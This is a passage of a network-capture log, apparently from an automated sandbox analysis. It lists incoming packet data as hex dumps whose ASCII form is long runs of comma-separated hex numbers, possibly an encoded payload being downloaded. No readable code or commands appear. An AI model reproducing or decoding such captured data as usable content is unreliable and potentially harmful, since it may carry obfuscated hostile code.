2023-04-20 23:05:02 UTC	11533	IN	Data Raw: 66 2c 31 31 34 2c 31 31 63 2c 31 30 30 2c 62 66 2c 61 30 2c 31 32 64 2c 61 30 2c 31 35 62 2c 36 66 2c 61 38 2c 64 64 2c 31 35 31 2c 66 34 2c 39 34 2c 66 37 2c 31 35 62 2c 62 39 2c 37 34 2c 31 32 32 2c 63 64 2c 61 32 2c 31 33 31 2c 36 64 2c 65 33 2c 62 65 2c 31 33 64 2c 31 36 31 2c 35 65 2c 66 66 2c 34 63 2c 62 61 2c 66 39 2c 36 61 2c 38 30 2c 31 32 37 2c 36 38 2c 31 32 36 2c 65 39 2c 65 34 2c 31 30 65 2c 63 32 2c 31 31 37 2c 66 62 2c 64 34 2c 62 63 2c 61 34 2c 39 62 2c 37 39 2c 65 38 2c 61 33 2c 35 64 2c 66 35 2c 31 33 62 2c 37 39 2c 39 38 2c 31 34 61 2c 39 30 2c 61 64 2c 65 36 2c 39 62 2c 39 64 2c 64 39 2c 66 38 2c 39 38 2c 34 62 2c 31 32 39 2c 37 66 2c 62 61 2c 31 33 32 2c 38 37 2c 65 66 2c 61 66 2c 38 34 2c 39 30 2c 35 64 2c 64 62 2c 63 39 2c 31 34 33 Data Ascii: f,114,11c,100,bf,a0,12d,a0,15b,6f,a8,dd,151,f4,94,f7,15b,b9,74,122,cd,a2,131,6d,e3,be,13d,161,5e,ff,4c,ba,f9,6a,80,127,68,126,e9,e4,10e,c2,117,fb,d4,bc,a4,9b,79,e8,a3,5d,f5,13b,79,98,14a,90,ad,e6,9b,9d,d9,f8,98,4b,129,7f,ba,132,87,ef,af,84,90,5d,db,c9,143
2023-04-20 23:05:02 UTC	11549	IN	Data Raw: 32 2c 65 30 2c 39 62 2c 65 33 2c 31 33 34 2c 31 34 33 2c 66 30 2c 37 37 2c 63 39 2c 38 36 2c 31 30 31 2c 31 30 65 2c 31 37 36 2c 31 33 34 2c 62 63 2c 39 31 2c 63 30 2c 62 39 2c 61 33 2c 38 38 2c 31 31 64 2c 31 36 62 2c 31 36 34 2c 37 65 2c 62 39 2c 66 31 2c 38 33 2c 64 63 2c 31 31 33 2c 61 61 2c 37 37 2c 39 61 2c 31 33 30 2c 39 62 2c 31 36 64 2c 64 30 2c 31 32 39 2c 31 34 63 2c 31 33 64 2c 37 62 2c 31 36 35 2c 36 62 2c 61 62 2c 31 30 63 2c 31 36 34 2c 63 64 2c 66 64 2c 31 33 39 2c 31 32 66 2c 62 62 2c 38 36 2c 31 32 36 2c 31 34 61 2c 31 33 61 2c 64 35 2c 31 31 39 2c 31 31 63 2c 38 36 2c 37 35 2c 31 30 66 2c 31 34 32 2c 31 30 66 2c 31 34 62 2c 31 32 33 2c 66 31 2c 62 63 2c 39 32 2c 31 31 65 2c 66 31 2c 31 32 30 2c 31 35 33 2c 31 32 35 2c 64 39 2c 37 32 2c Data Ascii: 2,e0,9b,e3,134,143,f0,77,c9,86,101,10e,176,134,bc,91,c0,b9,a3,88,11d,16b,164,7e,b9,f1,83,dc,113,aa,77,9a,130,9b,16d,d0,129,14c,13d,7b,165,6b,ab,10c,164,cd,fd,139,12f,bb,86,126,14a,13a,d5,119,11c,86,75,10f,142,10f,14b,123,f1,bc,92,11e,f1,120,153,125,d9,72,
2023-04-20 23:05:02 UTC	11565	IN	Data Raw: 38 2c 35 32 2c 31 33 63 2c 39 62 2c 31 33 37 2c 62 31 2c 31 30 64 2c 31 33 30 2c 63 66 2c 31 37 32 2c 61 32 2c 37 30 2c 66 31 2c 36 34 2c 65 34 2c 31 34 36 2c 64 65 2c 64 62 2c 31 32 65 2c 31 35 39 2c 31 33 36 2c 31 31 30 2c 66 31 2c 66 61 2c 66 38 2c 31 30 32 2c 31 34 62 2c 31 34 65 2c 37 33 2c 35 63 2c 35 35 2c 64 64 2c 35 35 2c 39 30 2c 31 30 64 2c 31 35 36 2c 63 65 2c 31 33 63 2c 31 30 32 2c 31 30 36 2c 66 30 2c 61 63 2c 64 37 2c 35 35 2c 64 65 2c 31 30 30 2c 31 30 62 2c 31 33 36 2c 65 33 2c 37 63 2c 31 30 31 2c 31 34 63 2c 62 32 2c 31 32 38 2c 31 32 64 2c 65 36 2c 31 30 63 2c 39 66 2c 37 64 2c 31 33 64 2c 66 66 2c 34 63 2c 66 66 2c 31 32 65 2c 65 66 2c 36 63 2c 61 34 2c 36 37 2c 38 38 2c 31 30 33 2c 62 31 2c 31 31 62 2c 36 37 2c 39 65 2c 65 34 2c 61 Data Ascii: 8,52,13c,9b,137,b1,10d,130,cf,172,a2,70,f1,64,e4,146,de,db,12e,159,136,110,f1,fa,f8,102,14b,14e,73,5c,55,dd,55,90,10d,156,ce,13c,102,106,f0,ac,d7,55,de,100,10b,136,e3,7c,101,14c,b2,128,12d,e6,10c,9f,7d,13d,ff,4c,ff,12e,ef,6c,a4,67,88,103,b1,11b,67,9e,e4,a
2023-04-20 23:05:02 UTC	11581	IN	Data Raw: 63 62 2c 33 34 2c 31 30 35 2c 31 33 30 2c 31 34 35 2c 61 62 2c 31 33 36 2c 31 31 30 2c 31 32 30 2c 62 36 2c 31 32 62 2c 31 32 35 2c 64 39 2c 63 32 2c 62 38 2c 61 33 2c 35 35 2c 62 63 2c 38 37 2c 62 63 2c 31 30 64 2c 62 32 2c 31 32 31 2c 38 34 2c 31 35 31 2c 63 32 2c 39 62 2c 61 36 2c 31 30 61 2c 31 35 36 2c 64 63 2c 66 35 2c 38 39 2c 62 65 2c 36 36 2c 38 36 2c 37 65 2c 64 30 2c 62 62 2c 64 63 2c 66 30 2c 36 32 2c 66 61 2c 66 62 2c 31 32 63 2c 31 32 65 2c 31 34 37 2c 31 32 37 2c 31 30 62 2c 31 32 38 2c 62 61 2c 37 66 2c 66 63 2c 31 32 31 2c 39 38 2c 62 31 2c 37 64 2c 36 36 2c 37 34 2c 31 31 62 2c 36 35 2c 31 34 35 2c 34 31 2c 62 63 2c 37 64 2c 61 34 2c 37 32 2c 62 35 2c 65 38 2c 31 31 38 2c 31 30 64 2c 31 32 33 2c 31 30 30 2c 62 36 2c 31 32 63 2c 31 34 33 Data Ascii: cb,34,105,130,145,ab,136,110,120,b6,12b,125,d9,c2,b8,a3,55,bc,87,bc,10d,b2,121,84,151,c2,9b,a6,10a,156,dc,f5,89,be,66,86,7e,d0,bb,dc,f0,62,fa,fb,12c,12e,147,127,10b,128,ba,7f,fc,121,98,b1,7d,66,74,11b,65,145,41,bc,7d,a4,72,b5,e8,118,10d,123,100,b6,12c,143
2023-04-20 23:05:02 UTC	11597	IN	Data Raw: 2c 31 31 66 2c 64 35 2c 31 35 33 2c 66 31 2c 31 31 36 2c 37 62 2c 63 36 2c 31 30 63 2c 62 62 2c 31 32 39 2c 66 36 2c 66 33 2c 61 64 2c 37 31 2c 39 65 2c 63 65 2c 61 32 2c 66 35 2c 39 65 2c 62 35 2c 61 34 2c 37 61 2c 61 61 2c 38 35 2c 33 36 2c 39 36 2c 64 36 2c 38 62 2c 31 34 34 2c 66 34 2c 66 64 2c 31 35 65 2c 35 39 2c 39 61 2c 63 38 2c 65 32 2c 65 33 2c 31 36 39 2c 33 39 2c 65 62 2c 38 65 2c 31 33 32 2c 39 32 2c 38 32 2c 31 35 31 2c 34 63 2c 34 61 2c 35 64 2c 63 31 2c 31 34 32 2c 31 31 61 2c 66 33 2c 37 34 2c 37 37 2c 39 31 2c 38 35 2c 39 62 2c 31 34 61 2c 31 30 64 2c 66 65 2c 64 61 2c 37 30 2c 61 66 2c 31 30 30 2c 36 38 2c 35 65 2c 62 65 2c 65 32 2c 38 36 2c 31 33 30 2c 64 65 2c 64 35 2c 64 38 2c 39 63 2c 31 37 35 2c 65 66 2c 31 33 33 2c 31 30 61 2c 63 Data Ascii: ,11f,d5,153,f1,116,7b,c6,10c,bb,129,f6,f3,ad,71,9e,ce,a2,f5,9e,b5,a4,7a,aa,85,36,96,d6,8b,144,f4,fd,15e,59,9a,c8,e2,e3,169,39,eb,8e,132,92,82,151,4c,4a,5d,c1,142,11a,f3,74,77,91,85,9b,14a,10d,fe,da,70,af,100,68,5e,be,e2,86,130,de,d5,d8,9c,175,ef,133,10a,c
2023-04-20 23:05:02 UTC	11613	IN	Data Raw: 33 2c 31 32 30 2c 39 65 2c 36 65 2c 36 34 2c 35 63 2c 65 64 2c 31 34 63 2c 39 62 2c 62 36 2c 61 34 2c 62 30 2c 31 33 35 2c 63 37 2c 31 32 65 2c 31 34 38 2c 31 33 64 2c 31 33 39 2c 61 33 2c 62 35 2c 66 63 2c 37 64 2c 31 36 64 2c 31 35 33 2c 38 61 2c 37 30 2c 33 63 2c 31 34 38 2c 36 65 2c 62 33 2c 31 34 64 2c 61 34 2c 31 34 39 2c 66 38 2c 31 33 65 2c 31 30 35 2c 66 62 2c 63 39 2c 31 34 63 2c 65 33 2c 31 32 38 2c 31 31 61 2c 31 31 65 2c 61 61 2c 31 32 38 2c 31 30 61 2c 62 35 2c 64 39 2c 31 35 30 2c 66 61 2c 31 31 38 2c 31 34 35 2c 31 30 37 2c 31 36 34 2c 31 37 32 2c 62 36 2c 64 61 2c 63 35 2c 31 30 66 2c 62 37 2c 63 61 2c 31 33 39 2c 64 33 2c 31 35 35 2c 31 31 65 2c 31 30 38 2c 65 35 2c 65 35 2c 34 31 2c 61 62 2c 31 33 37 2c 31 33 39 2c 37 62 2c 31 31 66 2c Data Ascii: 3,120,9e,6e,64,5c,ed,14c,9b,b6,a4,b0,135,c7,12e,148,13d,139,a3,b5,fc,7d,16d,153,8a,70,3c,148,6e,b3,14d,a4,149,f8,13e,105,fb,c9,14c,e3,128,11a,11e,aa,128,10a,b5,d9,150,fa,118,145,107,164,172,b6,da,c5,10f,b7,ca,139,d3,155,11e,108,e5,e5,41,ab,137,139,7b,11f,
2023-04-20 23:05:02 UTC	11629	IN	Data Raw: 66 2c 31 31 33 2c 66 66 2c 31 32 30 2c 31 33 33 2c 61 36 2c 31 33 30 2c 31 33 39 2c 64 64 2c 65 63 2c 64 62 2c 31 31 66 2c 63 61 2c 38 33 2c 31 35 38 2c 39 66 2c 33 65 2c 31 33 32 2c 31 33 34 2c 31 31 34 2c 31 33 33 2c 31 31 61 2c 31 31 31 2c 31 30 65 2c 64 36 2c 31 33 36 2c 65 39 2c 62 35 2c 31 34 39 2c 31 34 38 2c 31 32 63 2c 31 33 30 2c 31 31 33 2c 31 33 66 2c 62 35 2c 31 34 38 2c 31 31 33 2c 31 35 30 2c 62 38 2c 31 30 32 2c 38 66 2c 31 34 35 2c 65 63 2c 64 37 2c 61 38 2c 31 31 62 2c 31 32 30 2c 36 66 2c 31 32 38 2c 66 36 2c 31 34 35 2c 65 32 2c 63 31 2c 31 32 66 2c 64 62 2c 31 31 34 2c 31 30 65 2c 62 36 2c 66 30 2c 66 64 2c 31 30 30 2c 37 38 2c 66 64 2c 63 30 2c 31 30 30 2c 31 31 39 2c 61 66 2c 63 65 2c 65 61 2c 38 63 2c 35 61 2c 38 38 2c 31 32 35 2c Data Ascii: f,113,ff,120,133,a6,130,139,dd,ec,db,11f,ca,83,158,9f,3e,132,134,114,133,11a,111,10e,d6,136,e9,b5,149,148,12c,130,113,13f,b5,148,113,150,b8,102,8f,145,ec,d7,a8,11b,120,6f,128,f6,145,e2,c1,12f,db,114,10e,b6,f0,fd,100,78,fd,c0,100,119,af,ce,ea,8c,5a,88,125,
2023-04-20 23:05:02 UTC	11645	IN	Data Raw: 38 35 2c 38 36 2c 31 36 34 2c 38 39 2c 36 31 2c 31 32 36 2c 31 34 38 2c 39 37 2c 31 32 63 2c 36 39 2c 31 32 61 2c 34 62 2c 64 64 2c 31 32 33 2c 31 30 36 2c 31 32 66 2c 61 64 2c 35 66 2c 31 34 36 2c 66 66 2c 31 32 34 2c 65 39 2c 63 35 2c 61 62 2c 37 65 2c 64 35 2c 31 31 65 2c 63 31 2c 36 63 2c 63 33 2c 36 35 2c 37 66 2c 39 32 2c 63 33 2c 38 32 2c 66 34 2c 31 31 61 2c 31 31 63 2c 37 34 2c 31 31 62 2c 62 64 2c 64 31 2c 62 37 2c 65 61 2c 31 32 38 2c 64 37 2c 31 30 33 2c 66 64 2c 31 32 37 2c 63 38 2c 31 33 64 2c 61 63 2c 31 34 62 2c 31 35 33 2c 31 30 61 2c 31 32 37 2c 37 34 2c 63 31 2c 31 31 36 2c 31 31 35 2c 38 63 2c 65 33 2c 31 31 32 2c 39 38 2c 61 65 2c 64 34 2c 36 66 2c 31 32 39 2c 38 39 2c 65 63 2c 31 33 34 2c 37 34 2c 31 32 62 2c 31 30 30 2c 63 36 2c 61 Data Ascii: 85,86,164,89,61,126,148,97,12c,69,12a,4b,dd,123,106,12f,ad,5f,146,ff,124,e9,c5,ab,7e,d5,11e,c1,6c,c3,65,7f,92,c3,82,f4,11a,11c,74,11b,bd,d1,b7,ea,128,d7,103,fd,127,c8,13d,ac,14b,153,10a,127,74,c1,116,115,8c,e3,112,98,ae,d4,6f,129,89,ec,134,74,12b,100,c6,a
2023-04-20 23:05:02 UTC	11661	IN	Data Raw: 2c 34 61 2c 35 61 2c 31 33 34 2c 31 30 62 2c 38 39 2c 31 32 66 2c 66 37 2c 31 36 64 2c 66 64 2c 39 62 2c 38 62 2c 62 61 2c 36 39 2c 61 33 2c 31 31 37 2c 31 32 63 2c 31 32 33 2c 38 36 2c 62 35 2c 61 63 2c 61 30 2c 35 33 2c 31 30 38 2c 31 34 34 2c 31 31 38 2c 35 62 2c 31 35 64 2c 31 36 34 2c 31 32 63 2c 39 66 2c 31 36 62 2c 31 34 62 2c 31 30 39 2c 36 37 2c 31 32 61 2c 31 37 32 2c 31 32 32 2c 31 33 33 2c 34 36 2c 38 39 2c 31 30 37 2c 66 64 2c 65 36 2c 66 66 2c 36 66 2c 31 30 36 2c 62 33 2c 31 30 62 2c 31 31 38 2c 37 65 2c 31 33 64 2c 35 38 2c 31 31 30 2c 36 36 2c 31 30 62 2c 31 34 32 2c 31 32 31 2c 37 31 2c 31 32 34 2c 65 66 2c 37 38 2c 31 31 37 2c 62 63 2c 31 31 65 2c 66 31 2c 31 30 32 2c 66 34 2c 31 30 38 2c 65 39 2c 65 65 2c 39 36 2c 31 35 66 2c 62 31 2c Data Ascii: ,4a,5a,134,10b,89,12f,f7,16d,fd,9b,8b,ba,69,a3,117,12c,123,86,b5,ac,a0,53,108,144,118,5b,15d,164,12c,9f,16b,14b,109,67,12a,172,122,133,46,89,107,fd,e6,ff,6f,106,b3,10b,118,7e,13d,58,110,66,10b,142,121,71,124,ef,78,117,bc,11e,f1,102,f4,108,e9,ee,96,15f,b1,
2023-04-20 23:05:02 UTC	11677	IN	Data Raw: 64 35 2c 31 33 36 2c 31 30 34 2c 64 62 2c 31 31 64 2c 37 61 2c 31 35 32 2c 65 34 2c 39 63 2c 34 34 2c 31 32 35 2c 31 33 32 2c 62 30 2c 31 32 66 2c 35 38 2c 31 35 39 2c 31 30 39 2c 31 34 31 2c 66 30 2c 31 34 63 2c 62 31 2c 34 66 2c 31 30 39 2c 31 31 33 2c 38 33 2c 64 64 2c 38 35 2c 31 32 38 2c 31 34 66 2c 38 36 2c 31 30 62 2c 37 61 2c 31 35 31 2c 31 32 62 2c 31 31 61 2c 35 34 2c 31 32 30 2c 35 64 2c 31 35 31 2c 36 63 2c 63 39 2c 33 38 2c 31 33 65 2c 31 31 62 2c 63 33 2c 31 33 63 2c 31 31 62 2c 61 36 2c 62 34 2c 62 38 2c 62 37 2c 62 61 2c 34 62 2c 31 30 33 2c 37 64 2c 61 32 2c 65 32 2c 63 64 2c 31 31 62 2c 61 62 2c 31 32 30 2c 63 31 2c 31 35 39 2c 61 30 2c 37 38 2c 34 65 2c 38 35 2c 38 31 2c 61 63 2c 63 36 2c 66 30 2c 31 35 33 2c 66 65 2c 38 65 2c 31 34 34 Data Ascii: d5,136,104,db,11d,7a,152,e4,9c,44,125,132,b0,12f,58,159,109,141,f0,14c,b1,4f,109,113,83,dd,85,128,14f,86,10b,7a,151,12b,11a,54,120,5d,151,6c,c9,38,13e,11b,c3,13c,11b,a6,b4,b8,b7,ba,4b,103,7d,a2,e2,cd,11b,ab,120,c1,159,a0,78,4e,85,81,ac,c6,f0,153,fe,8e,144
2023-04-20 23:05:02 UTC	11693	IN	Data Raw: 2c 39 38 2c 64 36 2c 65 64 2c 31 32 65 2c 66 30 2c 31 31 61 2c 61 39 2c 63 30 2c 39 63 2c 31 31 30 2c 61 62 2c 38 64 2c 37 65 2c 35 38 2c 65 34 2c 63 63 2c 31 32 37 2c 31 30 66 2c 62 36 2c 31 33 35 2c 31 35 64 2c 63 30 2c 31 32 65 2c 64 32 2c 38 65 2c 36 32 2c 37 35 2c 31 36 35 2c 63 62 2c 36 61 2c 34 36 2c 37 35 2c 33 39 2c 31 31 31 2c 31 32 64 2c 62 31 2c 31 33 31 2c 31 32 39 2c 66 35 2c 65 33 2c 31 31 33 2c 39 65 2c 62 33 2c 38 39 2c 38 37 2c 65 31 2c 65 35 2c 31 32 63 2c 62 65 2c 65 62 2c 31 34 64 2c 39 34 2c 31 34 37 2c 34 62 2c 39 30 2c 65 37 2c 31 31 30 2c 64 31 2c 62 33 2c 31 30 32 2c 31 30 66 2c 37 37 2c 35 36 2c 63 30 2c 31 30 64 2c 64 34 2c 31 32 64 2c 38 39 2c 62 66 2c 39 64 2c 62 35 2c 31 30 39 2c 31 34 66 2c 38 36 2c 37 39 2c 38 39 2c 64 63 Data Ascii: ,98,d6,ed,12e,f0,11a,a9,c0,9c,110,ab,8d,7e,58,e4,cc,127,10f,b6,135,15d,c0,12e,d2,8e,62,75,165,cb,6a,46,75,39,111,12d,b1,131,129,f5,e3,113,9e,b3,89,87,e1,e5,12c,be,eb,14d,94,147,4b,90,e7,110,d1,b3,102,10f,77,56,c0,10d,d4,12d,89,bf,9d,b5,109,14f,86,79,89,dc
2023-04-20 23:05:02 UTC	11709	IN	Data Raw: 30 64 2c 38 39 2c 31 31 33 2c 39 32 2c 39 61 2c 35 36 2c 31 34 65 2c 62 39 2c 39 37 2c 65 32 2c 35 64 2c 31 31 33 2c 31 34 61 2c 31 31 36 2c 31 32 65 2c 35 30 2c 31 35 38 2c 31 35 39 2c 31 30 33 2c 65 30 2c 31 31 38 2c 31 33 65 2c 65 38 2c 63 39 2c 31 30 31 2c 66 39 2c 39 30 2c 34 62 2c 31 31 32 2c 31 33 61 2c 65 63 2c 61 35 2c 31 31 62 2c 61 65 2c 61 35 2c 61 62 2c 31 35 39 2c 35 39 2c 65 66 2c 36 30 2c 39 30 2c 35 35 2c 31 30 36 2c 66 34 2c 64 32 2c 31 31 39 2c 31 35 30 2c 61 37 2c 31 31 36 2c 31 32 63 2c 62 32 2c 35 66 2c 61 62 2c 65 63 2c 39 63 2c 36 63 2c 64 64 2c 62 31 2c 66 64 2c 35 31 2c 35 38 2c 31 35 35 2c 31 30 30 2c 37 65 2c 39 37 2c 61 35 2c 65 64 2c 31 32 36 2c 66 64 2c 35 38 2c 31 30 35 2c 31 32 38 2c 66 66 2c 31 35 33 2c 65 37 2c 65 32 2c Data Ascii: 0d,89,113,92,9a,56,14e,b9,97,e2,5d,113,14a,116,12e,50,158,159,103,e0,118,13e,e8,c9,101,f9,90,4b,112,13a,ec,a5,11b,ae,a5,ab,159,59,ef,60,90,55,106,f4,d2,119,150,a7,116,12c,b2,5f,ab,ec,9c,6c,dd,b1,fd,51,58,155,100,7e,97,a5,ed,126,fd,58,105,128,ff,153,e7,e2,
2023-04-20 23:05:02 UTC	11725	IN	Data Raw: 30 65 2c 62 63 2c 31 32 35 2c 36 38 2c 31 30 61 2c 37 66 2c 31 31 39 2c 36 66 2c 31 31 33 2c 31 33 65 2c 66 61 2c 31 31 39 2c 31 30 31 2c 31 32 33 2c 62 30 2c 63 32 2c 31 31 61 2c 31 32 35 2c 62 36 2c 31 33 33 2c 64 31 2c 63 38 2c 64 34 2c 31 34 30 2c 37 37 2c 61 62 2c 31 33 36 2c 31 36 33 2c 31 32 31 2c 66 35 2c 36 62 2c 31 32 62 2c 31 31 32 2c 37 32 2c 61 39 2c 31 35 66 2c 38 36 2c 37 31 2c 39 31 2c 31 33 65 2c 31 34 64 2c 31 35 38 2c 31 31 36 2c 38 35 2c 36 38 2c 64 36 2c 38 35 2c 36 63 2c 38 38 2c 31 34 33 2c 31 31 38 2c 31 36 32 2c 31 33 36 2c 61 34 2c 31 31 66 2c 31 35 37 2c 36 39 2c 65 31 2c 31 30 61 2c 31 30 34 2c 31 33 30 2c 62 62 2c 65 64 2c 31 34 36 2c 64 31 2c 36 30 2c 31 35 36 2c 64 36 2c 62 39 2c 62 64 2c 31 32 30 2c 63 63 2c 31 33 31 2c 31 Data Ascii: 0e,bc,125,68,10a,7f,119,6f,113,13e,fa,119,101,123,b0,c2,11a,125,b6,133,d1,c8,d4,140,77,ab,136,163,121,f5,6b,12b,112,72,a9,15f,86,71,91,13e,14d,158,116,85,68,d6,85,6c,88,143,118,162,136,a4,11f,157,69,e1,10a,104,130,bb,ed,146,d1,60,156,d6,b9,bd,120,cc,131,1
2023-04-20 23:05:02 UTC	11741	IN	Data Raw: 2c 31 30 36 2c 64 31 2c 63 64 2c 31 31 63 2c 35 32 2c 66 66 2c 63 39 2c 61 39 2c 34 39 2c 31 34 61 2c 31 34 63 2c 31 30 37 2c 63 38 2c 62 61 2c 31 32 38 2c 35 39 2c 62 63 2c 31 30 33 2c 62 30 2c 39 63 2c 63 63 2c 66 63 2c 35 65 2c 36 39 2c 61 32 2c 31 34 62 2c 63 39 2c 31 33 37 2c 34 34 2c 31 30 35 2c 31 36 33 2c 66 62 2c 31 34 64 2c 31 30 61 2c 31 36 62 2c 31 33 31 2c 31 32 36 2c 62 34 2c 31 35 37 2c 66 39 2c 66 38 2c 66 66 2c 31 30 34 2c 39 32 2c 31 31 30 2c 63 33 2c 31 32 64 2c 31 32 36 2c 31 32 61 2c 31 33 63 2c 61 62 2c 39 38 2c 31 32 61 2c 35 61 2c 31 31 64 2c 31 30 66 2c 35 64 2c 31 35 62 2c 31 33 36 2c 31 34 34 2c 64 34 2c 63 32 2c 63 61 2c 66 31 2c 31 32 39 2c 31 31 61 2c 31 36 36 2c 31 32 38 2c 31 33 31 2c 35 35 2c 31 35 35 2c 63 32 2c 36 32 2c Data Ascii: ,106,d1,cd,11c,52,ff,c9,a9,49,14a,14c,107,c8,ba,128,59,bc,103,b0,9c,cc,fc,5e,69,a2,14b,c9,137,44,105,163,fb,14d,10a,16b,131,126,b4,157,f9,f8,ff,104,92,110,c3,12d,126,12a,13c,ab,98,12a,5a,11d,10f,5d,15b,136,144,d4,c2,ca,f1,129,11a,166,128,131,55,155,c2,62,
2023-04-20 23:05:02 UTC	11757	IN	Data Raw: 64 34 2c 31 33 31 2c 36 36 2c 37 66 2c 63 32 2c 64 32 2c 31 33 65 2c 31 36 30 2c 38 35 2c 37 61 2c 31 31 32 2c 39 62 2c 62 34 2c 31 31 30 2c 36 64 2c 31 31 33 2c 64 32 2c 64 39 2c 38 30 2c 39 66 2c 38 61 2c 35 37 2c 37 63 2c 63 39 2c 31 30 62 2c 31 31 62 2c 35 63 2c 31 33 38 2c 38 64 2c 31 33 63 2c 64 62 2c 36 34 2c 66 65 2c 36 38 2c 31 32 62 2c 35 34 2c 34 61 2c 66 37 2c 63 35 2c 36 62 2c 31 34 38 2c 64 32 2c 31 34 37 2c 37 39 2c 33 38 2c 39 31 2c 36 65 2c 37 33 2c 35 63 2c 35 31 2c 36 38 2c 31 32 39 2c 38 63 2c 62 39 2c 36 37 2c 31 35 65 2c 62 61 2c 31 33 31 2c 65 32 2c 31 33 66 2c 64 39 2c 61 36 2c 31 30 62 2c 31 34 38 2c 36 61 2c 35 37 2c 31 30 37 2c 31 32 36 2c 39 35 2c 38 66 2c 62 31 2c 31 33 61 2c 31 33 36 2c 36 30 2c 31 30 64 2c 31 33 39 2c 33 30 Data Ascii: d4,131,66,7f,c2,d2,13e,160,85,7a,112,9b,b4,110,6d,113,d2,d9,80,9f,8a,57,7c,c9,10b,11b,5c,138,8d,13c,db,64,fe,68,12b,54,4a,f7,c5,6b,148,d2,147,79,38,91,6e,73,5c,51,68,129,8c,b9,67,15e,ba,131,e2,13f,d9,a6,10b,148,6a,57,107,126,95,8f,b1,13a,136,60,10d,139,30
2023-04-20 23:05:02 UTC	11773	IN	Data Raw: 32 2c 37 36 2c 61 36 2c 65 63 2c 31 31 32 2c 64 66 2c 31 33 61 2c 31 33 64 2c 36 33 2c 66 35 2c 61 30 2c 31 31 63 2c 38 35 2c 31 32 64 2c 61 39 2c 39 31 2c 63 66 2c 31 31 32 2c 31 32 36 2c 38 63 2c 31 34 65 2c 31 35 36 2c 31 35 61 2c 64 66 2c 31 33 65 2c 31 30 65 2c 31 30 32 2c 31 30 32 2c 31 31 65 2c 31 36 66 2c 36 36 2c 37 33 2c 31 31 34 2c 31 34 63 2c 65 39 2c 37 33 2c 65 33 2c 31 34 32 2c 66 30 2c 31 36 31 2c 34 63 2c 63 36 2c 39 37 2c 31 34 30 2c 38 33 2c 31 32 61 2c 31 32 33 2c 36 39 2c 63 32 2c 38 31 2c 61 35 2c 64 66 2c 64 32 2c 31 31 33 2c 66 31 2c 62 30 2c 37 63 2c 66 34 2c 35 66 2c 31 31 62 2c 36 62 2c 39 35 2c 31 30 31 2c 31 33 32 2c 31 30 33 2c 31 35 66 2c 66 63 2c 35 64 2c 66 63 2c 31 34 63 2c 66 36 2c 31 32 66 2c 35 65 2c 31 34 30 2c 39 39 Data Ascii: 2,76,a6,ec,112,df,13a,13d,63,f5,a0,11c,85,12d,a9,91,cf,112,126,8c,14e,156,15a,df,13e,10e,102,102,11e,16f,66,73,114,14c,e9,73,e3,142,f0,161,4c,c6,97,140,83,12a,123,69,c2,81,a5,df,d2,113,f1,b0,7c,f4,5f,11b,6b,95,101,132,103,15f,fc,5d,fc,14c,f6,12f,5e,140,99
2023-04-20 23:05:02 UTC	11789	IN	Data Raw: 35 39 2c 31 35 61 2c 65 35 2c 31 30 62 2c 66 62 2c 31 30 38 2c 31 31 34 2c 31 30 66 2c 31 31 34 2c 63 37 2c 39 63 2c 66 38 2c 65 37 2c 64 30 2c 37 37 2c 61 32 2c 37 35 2c 39 61 2c 31 34 62 2c 36 38 2c 63 33 2c 38 64 2c 65 61 2c 39 34 2c 31 31 62 2c 37 66 2c 64 32 2c 31 32 64 2c 31 30 61 2c 35 37 2c 38 64 2c 38 35 2c 61 62 2c 31 37 36 2c 31 36 32 2c 31 31 32 2c 62 31 2c 61 35 2c 31 35 64 2c 34 30 2c 31 33 30 2c 31 31 65 2c 64 38 2c 36 30 2c 64 66 2c 39 38 2c 63 31 2c 31 31 34 2c 35 34 2c 66 32 2c 31 35 38 2c 63 65 2c 31 31 30 2c 36 65 2c 64 34 2c 31 35 30 2c 37 65 2c 31 35 35 2c 65 31 2c 39 61 2c 37 62 2c 35 66 2c 37 63 2c 31 31 38 2c 65 63 2c 31 35 61 2c 62 31 2c 37 66 2c 31 32 37 2c 66 64 2c 31 30 39 2c 34 30 2c 35 33 2c 31 33 66 2c 31 36 36 2c 62 30 2c Data Ascii: 59,15a,e5,10b,fb,108,114,10f,114,c7,9c,f8,e7,d0,77,a2,75,9a,14b,68,c3,8d,ea,94,11b,7f,d2,12d,10a,57,8d,85,ab,176,162,112,b1,a5,15d,40,130,11e,d8,60,df,98,c1,114,54,f2,158,ce,110,6e,d4,150,7e,155,e1,9a,7b,5f,7c,118,ec,15a,b1,7f,127,fd,109,40,53,13f,166,b0,
2023-04-20 23:05:02 UTC	11805	IN	Data Raw: 33 33 2c 37 64 2c 31 34 33 2c 31 33 31 2c 31 32 32 2c 62 62 2c 66 37 2c 39 31 2c 65 34 2c 31 33 32 2c 38 31 2c 31 32 61 2c 31 37 36 2c 31 35 39 2c 31 34 39 2c 31 33 35 2c 31 31 61 2c 65 30 2c 65 66 2c 64 39 2c 31 34 35 2c 38 32 2c 31 31 61 2c 31 32 64 2c 31 31 38 2c 31 30 34 2c 31 32 35 2c 36 61 2c 31 31 39 2c 31 30 36 2c 63 33 2c 38 38 2c 39 37 2c 66 66 2c 36 64 2c 31 34 30 2c 65 35 2c 65 63 2c 61 64 2c 36 39 2c 31 30 63 2c 31 33 30 2c 37 32 2c 37 36 2c 63 64 2c 31 33 32 2c 63 30 2c 37 64 2c 61 65 2c 37 34 2c 38 35 2c 63 66 2c 35 64 2c 31 33 64 2c 31 34 38 2c 66 33 2c 31 32 65 2c 37 36 2c 31 30 61 2c 36 37 2c 38 32 2c 39 32 2c 37 38 2c 38 38 2c 62 38 2c 66 33 2c 37 64 2c 31 31 31 2c 31 35 33 2c 64 35 2c 31 34 30 2c 66 65 2c 31 32 39 2c 35 64 2c 31 30 66 Data Ascii: 33,7d,143,131,122,bb,f7,91,e4,132,81,12a,176,159,149,135,11a,e0,ef,d9,145,82,11a,12d,118,104,125,6a,119,106,c3,88,97,ff,6d,140,e5,ec,ad,69,10c,130,72,76,cd,132,c0,7d,ae,74,85,cf,5d,13d,148,f3,12e,76,10a,67,82,92,78,88,b8,f3,7d,111,153,d5,140,fe,129,5d,10f
